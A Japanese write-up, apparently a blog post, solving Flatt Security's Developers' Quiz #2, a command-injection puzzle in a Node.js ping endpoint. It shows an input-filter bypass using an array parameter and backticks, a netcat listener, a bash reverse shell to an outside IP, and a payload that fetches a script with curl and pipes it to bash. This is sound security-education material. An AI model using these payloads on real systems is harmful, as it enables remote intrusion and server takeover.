所属している部の内部notionで出していたなにかです
⚡️ Flatt Security Developers' Quiz #2 開催! ⚡️
— 株式会社Flatt Security (@flatt_security) 2022年7月20日
JavaScriptコードに潜む脆弱性を見つけられますか?
抽選10名の方に公式Tシャツとステッカーをプレゼント!皆さんの回答お待ちしております!
デモ環境: https://t.co/jZhU7Na3q6
回答提出フォーム: https://t.co/bbZUPsZIUI pic.twitter.com/G1REW4nZep
Githubでソースコードが公開されているので確認しましょう。
developers-quiz/index.js at main · flatt-security/developers-quiz
多分この辺りが重要そうです
if(ip_address.length > 16){ res.send("Error! IP is too long."); return; } if(/[!@#$%\^&*()\-_+=\[\] {}'";:,:?~\\]/.exec(ip_address)){ res.send("Error! Your request is filtered!"); return; } const cmd = "sh -c 'ping -c 1 " + ip_address + "' 2>&1 >/dev/null; true"; const stderr = execSync(cmd, {"timeout": 1000}); if(stderr != ""){ res.send("Error! " + stderr); return; }
どうやらipパラメータの長さが16文字より多かったり、よくわからん正規表現に当てはまったらエラーを吐かれるらしいです。
まず、16文字制限を何とかします。
javascriptのlengthは、普通の変数ならその文字数を返しますが、配列変数ではその配列数を返します。
なので /?ip= ではなく /?ip[]= とすることでipパラメータを配列にします。
これでどれだけ長い文字を指定してもip_address.lengthが1になります。
次によくわからん正規表現ですが、よく見るとバッククオート「`」が含まれていません。
さらにうれしいことに垂直タブ%09、\vも含まれていません。
これによって任意のコマンドとある程度のコマンドの引数を指定することができます。
ということで443ポートをncでlistenします。443なのはまぁ引っかからなさそうなので。もしかしたら別のポートでもいいかも。
nc -lvp 443

次にリバースシェルのスクリプトを書きます。
/bin/bash -i >& /dev/tcp/20.89.xxx.xxx/443 0>&1
作ったスクリプトはこのままだとfilterにひっかかるので、curlで読み込めるようなサイトにアップロードします。
curl.byのようなbashuploadを使うのがおすすめです。
最終的なペイロードは以下の形になります。
/?ip[]=`curl%09www.curl.by/qwerty/aaaaa|bash%09/dev/stdin`
curlでスクリプトを標準出力し、bashから標準入力を読み取るようにしています。
このペイロードを送信すると…

セッションを確立できました。
一応シェルをアップグレードします。

よくある感じの奴ですね。
ということで、やっとフラグを入手していきます。
いったいフラグはどこに…

フラグファイルの中身はというと

Wow!